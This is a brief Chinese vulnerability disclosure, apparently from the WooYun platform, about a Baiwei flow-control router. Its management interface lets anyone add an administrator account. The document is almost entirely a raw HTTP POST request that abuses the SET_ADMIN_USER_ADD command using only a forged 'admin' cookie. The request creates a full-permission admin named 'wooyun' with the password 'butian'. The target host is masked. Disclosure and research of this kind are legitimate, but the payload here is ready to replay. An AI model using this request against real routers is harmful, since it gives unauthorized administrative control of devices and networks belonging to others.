百为流控路由设计不当 可任意添加管理员

``` POST /goform/webForm HTTP/1.0 Referer: **.**.**.**:2011/advance/admin_user.htm?v=20130320 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: */* Accept-Language: zh-CN Proxy-Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: **.**.**.**:2011 Content-Length: 645 DNT: 1 Pragma: no-cache Cookie: fsm_u=admin; fsm_login= cmd=SET_ADMIN_USER_ADD&json=%7B%22UserId%22%3A%22wooyun%22%2C%22Pwd%22%3A%22butian%22%2C%22Note%22%3A%22butian%22%2C%22Per%22%3A%221100000000000000111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000%22%7D ``` 添加用户wooyun 密码为butian